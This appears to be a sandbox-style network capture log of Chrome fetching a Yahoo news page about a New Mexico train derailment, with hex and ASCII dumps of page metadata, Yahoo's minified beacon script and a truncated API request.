2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 63 6f 6e 74 65 6e 74 54 79 70 65 22 3a 22 73 74 6f 72 79 22 2c 22 65 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 4c 69 73 74 22 3a 22 22 2c 22 65 6e 74 69 74 69 65 73 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 22 2c 22 6c 61 62 65 6c 22 3a 22 74 72 61 69 6e 20 64 65 72 61 69 6c 65 64 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 39 37 33 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 33 31 2c 22 65 6e 64 63 68 61 72 22 3a 34 34 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 2c 22 69 6e 73 74 61 6e 63 65 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 7d 2c 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 44 65 72 61 69 6c 6d 65 6e 74 22 2c 22 6c 61 Data Ascii: contentType":"story","editorialPicksList":"","entities":[{"term":"","label":"train derailed","capAbtScore":"0.973","metaData":[{"visible":"false"}],"startchar":31,"endchar":44,"specialParentTags":[],"instanceParentTags":[]},{"term":"WIKIID:Derailment","la
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 61 67 73 22 3a 5b 5d 2c 22 69 6e 73 74 61 6e 63 65 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 7d 2c 7b 22 74 65 72 6d 22 3a 22 22 2c 22 6c 61 62 65 6c 22 3a 22 64 65 72 61 69 6c 65 64 20 74 72 61 69 6e 20 63 61 72 73 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 38 33 31 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 33 32 35 2c 22 65 6e 64 63 68 61 72 22 3a 33 34 33 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 2c 22 69 6e 73 74 61 6e 63 65 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 7d 2c 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 50 65 74 65 5f 42 75 74 74 69 67 69 65 67 22 2c 22 6c 61 62 65 6c 22 3a 22 50 65 74 65 20 42 75 Data Ascii: ags":[],"instanceParentTags":[]},{"term":"","label":"derailed train cars","capAbtScore":"0.831","metaData":[{"visible":"false"}],"startchar":325,"endchar":343,"specialParentTags":[],"instanceParentTags":[]},{"term":"WIKIID:Pete_Buttigieg","label":"Pete Bu
2024-04-27 22:41:52 UTC	232	IN	Data Raw: 20 50 65 74 65 20 42 75 74 74 69 67 69 65 67 22 2c 22 6d 65 74 61 22 3a 7b 7d 2c 22 6d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 31 37 3a 31 33 3a 31 37 20 47 4d 54 22 2c 22 70 61 67 65 54 69 74 6c 65 22 3a 22 45 76 61 63 75 61 74 69 6f 6e 73 20 6f 72 64 65 72 65 64 20 61 66 74 65 72 20 64 6f 7a 65 6e 73 20 6f 66 20 74 72 61 69 6e 20 63 61 72 73 20 64 65 72 61 69 6c 65 64 20 6e 65 61 72 20 4e 65 77 20 4d 65 78 69 63 6f 20 73 74 61 74 65 20 6c 69 6e 65 2c 20 73 6f 6d 65 20 63 61 72 72 79 69 6e 67 20 70 72 6f 70 61 6e 65 22 2c 22 70 72 65 6c 6f 61 64 22 3a 5b 7b 22 68 72 65 66 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d Data Ascii: Pete Buttigieg","meta":{},"modifiedDate":"Sat, 27 Apr 2024 17:13:17 GMT","pageTitle":"Evacuations ordered after dozens of train cars derailed near New Mexico state line, some carrying propane","preload":[{"href":"https://s.yimg.com
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2f 6e 79 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 45 75 59 78 77 38 6d 69 64 45 73 31 30 47 37 6b 6d 37 68 59 66 67 2d 2d 2f 59 58 42 77 61 57 51 39 61 47 6c 6e 61 47 78 68 62 6d 52 6c 63 6a 74 33 50 54 45 79 4e 44 49 37 61 44 30 32 4f 54 6b 37 59 32 59 39 64 32 56 69 63 41 2d 2d 2f 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 7a 65 6e 66 73 2e 63 6f 6d 2f 65 6e 2f 63 6e 6e 5f 61 72 74 69 63 6c 65 73 5f 38 37 35 2f 33 64 30 38 39 62 38 39 38 65 61 37 61 64 38 64 61 35 64 35 34 34 64 65 32 64 31 35 61 30 64 38 22 2c 22 61 73 22 3a 22 69 6d 61 67 65 22 7d 5d 2c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 70 72 65 76 69 65 77 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 70 72 6f 76 69 64 65 72 49 64 22 3a 5b 22 63 6e 6e 5f 61 72 74 69 63 6c 65 73 5f 38 Data Ascii: /ny/api/res/1.2/EuYxw8midEs10G7km7hYfg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTEyNDI7aD02OTk7Y2Y9d2VicA--/https://media.zenfs.com/en/cnn_articles_875/3d089b898ea7ad8da5d544de2d15a0d8","as":"image"}],"presentation":null,"previewLink":null,"providerId":["cnn_articles_8
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 72 20 64 6f 7a 65 6e 73 20 6f 66 20 74 72 61 69 6e 20 63 61 72 73 20 64 65 72 61 69 6c 65 64 20 6e 65 61 72 20 4e 65 77 20 4d 65 78 69 63 6f 20 73 74 61 74 65 20 6c 69 6e 65 2c 20 73 6f 6d 65 20 63 61 72 72 79 69 6e 67 20 70 72 6f 70 61 6e 65 22 2c 22 74 69 74 6c 65 54 61 67 22 3a 22 45 76 61 63 75 61 74 69 6f 6e 73 20 6f 72 64 65 72 65 64 20 61 66 74 65 72 20 64 6f 7a 65 6e 73 20 6f 66 20 74 72 61 69 6e 20 63 61 72 73 20 64 65 72 61 69 6c 65 64 20 6e 65 61 72 20 4e 65 77 20 4d 65 78 69 63 6f 20 73 74 61 74 65 20 6c 69 6e 65 2c 20 73 6f 6d 65 20 63 61 72 72 79 69 6e 67 20 70 72 6f 70 61 6e 65 22 2c 22 74 70 43 6f 6e 73 65 6e 74 22 3a 74 72 75 65 2c 22 74 79 70 65 22 3a 22 73 74 6f 72 79 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 Data Ascii: r dozens of train cars derailed near New Mexico state line, some carrying propane","titleTag":"Evacuations ordered after dozens of train cars derailed near New Mexico state line, some carrying propane","tpConsent":true,"type":"story","url":"https://www.ya
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6d 6d 65 6e 74 73 43 54 41 5c 22 20 64 61 74 61 2d 61 73 73 65 74 73 3d 5b 5d 20 64 61 74 61 2d 64 65 76 69 63 65 3d 64 65 73 6b 74 6f 70 20 64 61 74 61 2d 69 31 38 6e 3d 27 7b 5c 22 7b 64 61 74 65 7d 20 61 74 20 7b 74 69 6d 65 7d 5c 22 3a 5c 22 7b 64 61 74 65 7d 20 61 74 20 7b 74 69 6d 65 7d 5c 22 2c 5c 22 7b 30 7d 20 68 72 20 61 67 6f 5c 22 3a 5c 22 7b 30 7d 20 68 72 20 61 67 6f 5c 22 2c 5c 22 7b 30 7d 20 6d 69 6e 20 61 67 6f 5c 22 3a 5c 22 7b 30 7d 20 6d 69 6e 20 61 67 6f 5c 22 2c 5c 22 7b 30 7d 20 6d 69 6e 73 20 61 67 6f 5c 22 3a 5c 22 7b 30 7d 20 6d 69 6e 73 20 61 67 6f 5c 22 2c 5c 22 7b 30 7d 20 56 69 65 77 73 5c 22 3a 5c 22 7b 30 7d 20 56 69 65 77 73 5c 22 2c 5c 22 49 4e 4c 49 4e 45 5f 43 4f 4e 53 45 4e 54 5f 42 4c 4f 43 4b 45 44 5f 33 50 5f 42 55 Data Ascii: mmentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BU
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6e 61 62 6c 65 41 64 53 6c 6f 74 73 4e 65 77 4d 61 70 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 47 41 4d 41 64 73 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 47 41 4d 41 64 73 4f 6e 4c 6f 61 64 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 46 69 6e 61 6e 63 65 50 72 65 6d 69 75 6d 54 69 63 6b 65 72 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 41 64 4c 69 74 65 55 70 53 65 6c 6c 46 65 65 64 62 61 63 6b 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 43 6f 6d 6d 65 6e 74 73 43 6f 75 6e 74 49 6e 56 69 65 77 43 6f 6d 6d 65 6e 74 73 43 74 61 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 52 52 41 64 73 53 6c 6f 74 73 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 52 52 41 64 73 53 6c 6f 74 73 57 69 74 68 4a 41 43 5c 22 3a 74 72 75 65 2c 5c 22 Data Ascii: nableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2f 6e 79 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 55 76 4c 6e 31 4e 52 49 73 32 59 30 61 64 30 63 45 72 6e 36 36 41 2d 2d 2f 59 58 42 77 61 57 51 39 61 47 6c 6e 61 47 78 68 62 6d 52 6c 63 6a 74 33 50 54 63 34 4f 32 67 39 4e 6a 41 37 59 32 59 39 64 32 56 69 63 41 2d 2d 2f 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6f 73 2f 63 72 65 61 74 72 2d 75 70 6c 6f 61 64 65 64 2d 69 6d 61 67 65 73 2f 32 30 32 33 2d 30 36 2f 33 36 36 35 34 38 63 30 2d 30 39 35 64 2d 31 31 65 65 2d 62 66 64 38 2d 62 33 39 65 63 33 32 39 35 30 35 30 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 6c 6f 67 6f 2d 64 69 76 69 64 65 72 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 70 72 6f 76 69 64 65 72 3e 43 4e 4e 3c 2f 73 70 Data Ascii: /ny/api/res/1.2/UvLn1NRIs2Y0ad0cErn66A--/YXBwaWQ9aGlnaGxhbmRlcjt3PTc4O2g9NjA7Y2Y9d2VicA--/https://s.yimg.com/os/creatr-uploaded-images/2023-06/366548c0-095d-11ee-bfd8-b39ec3295050><span class=caas-logo-divider></span><span class=caas-attr-provider>CNN</sp
2024-04-27 22:41:52 UTC	173	IN	Data Raw: 6d 65 6e 74 73 3b 69 74 63 3a 31 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 66 6c 69 63 6b 72 43 6f 6d 6d 65 6e 74 20 69 63 6f 6e 5c 22 3e 3c 73 76 67 20 77 69 64 74 68 3d 31 36 20 68 65 69 67 68 74 3d 31 36 20 76 69 65 77 42 6f 78 3d 5c 22 30 20 30 20 32 34 20 32 34 5c 22 3e 3c 70 61 74 68 20 64 3d 5c 22 4d 31 35 2e 34 39 20 33 48 38 2e 37 35 37 63 2d 33 2e 39 36 20 30 2d 37 2e 34 32 38 20 32 2e 39 35 39 2d 37 2e 37 33 34 20 36 2e 39 30 36 41 37 2e 35 30 39 20 37 2e 35 30 39 20 30 20 30 20 30 20 36 20 31 37 2e Data Ascii: ments;itc:1><span class=\"flickrComment icon\"><svg width=16 height=16 viewBox=\"0 0 24 24\"><path d=\"M15.49 3H8.757c-3.96 0-7.428 2.959-7.734 6.906A7.509 7.509 0 0 0 6 17.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49832	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	539	OUT	GET /aaq/wf/wf-beacon-1.3.4-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	823	IN	HTTP/1.1 200 OK x-amz-id-2: VeV92+ZgvUph5xm15Ekx8+6Ch2I3Dr1XCFqc/O0d8/dgQPv31NMNxvk5MP1D80Exet68T7M/Hc+y0oZLZpxznuHyIV1vOYXV x-amz-request-id: 7WNGSD6A4Y8GSDDG Date: Sat, 27 Apr 2024 22:41:53 GMT Last-Modified: Mon, 13 Feb 2023 05:31:36 GMT ETag: "397b59e3eeca4f747ea1f6ff6323154c" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: tENZ6Ri2vrrjg96D4AX.qx653XeJQH2M Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 10637 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-beacon",[],t):"object"==typeof exports?exports["wafer-beacon"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 Data Ascii: prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 2c 72 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e Data Ascii: t,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 74 72 69 62 75 74 65 28 4f 2b 22 74 72 69 67 67 65 72 2d 70 65 72 63 65 6e 74 61 67 65 22 29 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 6d 3d 66 28 77 2c 32 29 2c 6b 3d 6d 5b 30 5d 2c 54 3d 6d 5b 31 5d 2c 6a 3d 6b 3f 4d 61 74 68 2e 6d 61 78 28 4d 61 74 68 2e 6d 69 6e 28 31 30 30 2c 70 61 72 73 65 49 6e 74 28 6b 2c 31 30 29 29 2c 30 29 3a 35 30 2c 43 3d 54 3f 4d 61 74 68 2e 6d 61 78 28 4d 61 74 68 2e 6d 69 6e 28 31 30 30 2c 70 61 72 73 65 49 6e 74 28 54 2c 31 30 29 29 2c 30 29 3a 35 30 2c 50 3d 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 4f 2b 22 74 72 69 67 67 65 72 2d 63 75 6d 75 6c 61 74 69 76 65 22 29 2c 41 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4f 2b 22 62 65 61 63 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 6c 61 73 73 22 29 7c 7c Data Ascii: ttribute(O+"trigger-percentage")\|\|"").split(" "),m=f(w,2),k=m[0],T=m[1],j=k?Math.max(Math.min(100,parseInt(k,10)),0):50,C=T?Math.max(Math.min(100,parseInt(T,10)),0):50,P=e.hasAttribute(O+"trigger-cumulative"),A=e.getAttribute(O+"beacon-container-class")\|\|
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6f 66 66 73 65 74 59 2c 70 3d 69 2e 73 65 6c 65 63 74 6f 72 2c 79 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 63 2d 75 29 3b 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 62 65 61 63 6f 6e 2d 69 6e 2d 70 72 6f 67 72 65 73 73 22 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 28 66 7c 7c 21 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 73 29 29 26 26 28 30 3d 3d 3d 79 7c 7c 21 31 3d 3d 3d 6e 7c 7c 64 2e 69 73 50 61 67 65 56 69 73 69 62 6c 65 26 26 77 28 6f 2c 6c 28 7b 7d 2c 69 2c 7b 6f 66 66 73 65 74 58 3a 68 2c 6f 66 66 73 65 74 59 3a 76 7d 29 2c 64 2e 76 69 65 77 70 6f 72 74 29 29 29 72 65 74 75 72 6e 20 61 26 26 61 2e 73 70 6c 69 74 28 22 7c 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: offsetY,p=i.selector,y=Math.max(0,c-u);o.classList.add("wafer-beacon-in-progress"),setTimeout(function(){if((f\|\|!o.classList.contains(s))&&(0===y\|\|!1===n\|\|d.isPageVisible&&w(o,l({},i,{offsetX:h,offsetY:v}),d.viewport)))return a&&a.split("\|").forEach(funct
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6e 63 74 69 6f 6e 28 72 29 7b 72 26 26 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 74 26 26 65 2e 64 65 73 74 72 6f 79 28 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 66 66 73 65 74 59 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 30 3b 74 68 69 73 2e 5f 75 74 69 6c 2e 6f 66 66 73 65 74 59 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 6f 66 66 73 65 74 59 7c 7c 65 7d 7d 2c 7b 6b 65 79 3a 22 6f 66 66 73 65 74 58 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e Data Ascii: nction(r){r&&"mouseenter"===t&&e.destroy()})}},{key:"offsetY",set:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this._util.offsetY=this._util.offsetY\|\|e}},{key:"offsetX",set:function(){var e=arguments.length>0&&void 0!==argumen
2024-04-27 22:41:52 UTC	199	IN	Data Raw: 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 72 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 72 29 2c 6e 26 26 65 28 74 2c 6e 29 2c 74 7d 7d 28 29 2c 41 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 75 74 69 6c 73 2c 45 3d 41 2e 62 69 6e 64 45 76 65 6e 74 2c 78 3d 41 2e 65 61 63 68 2c 53 3d 41 2e 65 6c 65 6d 65 6e 74 49 6e 56 69 65 77 2c 58 3d 41 2e 74 68 72 6f 74 74 6c 65 2c 59 3d 41 2e 75 6e 62 69 6e 64 45 76 Data Ascii: ritable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),A=window.wafer.utils,E=A.bindEvent,x=A.each,S=A.elementInView,X=A.throttle,Y=A.unbindEv
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 65 6e 74 2c 49 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2c 4c 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 63 6f 6e 74 72 6f 6c 6c 65 72 73 2e 57 61 66 65 72 42 61 73 65 43 6f 6e 74 72 6f 6c 6c 65 72 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 72 3d 65 2e 63 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 2c 6e 3d 76 6f 69 64 20 30 3d 3d 3d 72 3f 6e 75 6c 6c 3a 72 2c 69 3d 65 2e 72 6f 6f 74 2c 6f 3d 76 6f 69 64 20 30 3d 3d 3d 69 3f 64 6f 63 75 6d 65 6e 74 3a 69 2c 63 3d 65 2e 73 65 6c 65 63 74 6f 72 2c 6c 3d 65 2e 73 75 63 63 Data Ascii: ent,I=window.wafer.base,L=window.wafer.controllers.WaferBaseController,V=function(e){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=e.containerClass,n=void 0===r?null:r,i=e.root,o=void 0===i?document:i,c=e.selector,l=e.succ
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 68 54 68 72 6f 74 74 6c 65 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 64 69 64 53 79 6e 63 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 73 74 61 74 65 2c 72 3d 74 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2c 6e 3d 74 2e 6d 6f 75 6e 74 65 64 3b 69 66 28 30 21 3d 3d 72 2e 73 69 7a 65 29 7b 69 66 28 21 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 63 6f 6e 74 61 69 6e 65 72 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 6d 6f 75 6e 74 65 64 3d 21 30 2c 69 26 26 78 28 69 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 45 28 74 2c 22 73 63 72 6f 6c 6c 22 2c 65 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 29 7d 29 7d 74 68 69 73 2e 5f 6d 61 70 4f 66 66 73 65 74 Data Ascii: thThrottle)})}},{key:"didSync",value:function(){var e=this,t=this._state,r=t.elementInstances,n=t.mounted;if(0!==r.size){if(!n){var i=this._options.container;this._state.mounted=!0,i&&x(i,function(t){E(t,"scroll",e._validateWithThrottle)})}this._mapOffset
2024-04-27 22:41:52 UTC	38	IN	Data Raw: 65 77 20 42 28 7b 73 65 6c 65 63 74 6f 72 3a 22 2e 77 61 66 65 72 2d 62 65 61 63 6f 6e 22 7d 29 7d 7d 29 7d 29 3b Data Ascii: ew B({selector:".wafer-beacon"})}})});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49834	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1676	OUT	GET /caas/content/article/?uuid=ed2efbf7-2409-3dd8-9184-510525a2f72c,0faa4615-2120-3751-857c-024e291eeb87,d098fa67-1f57-32a9-a8c8-0b53747f9c8c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", 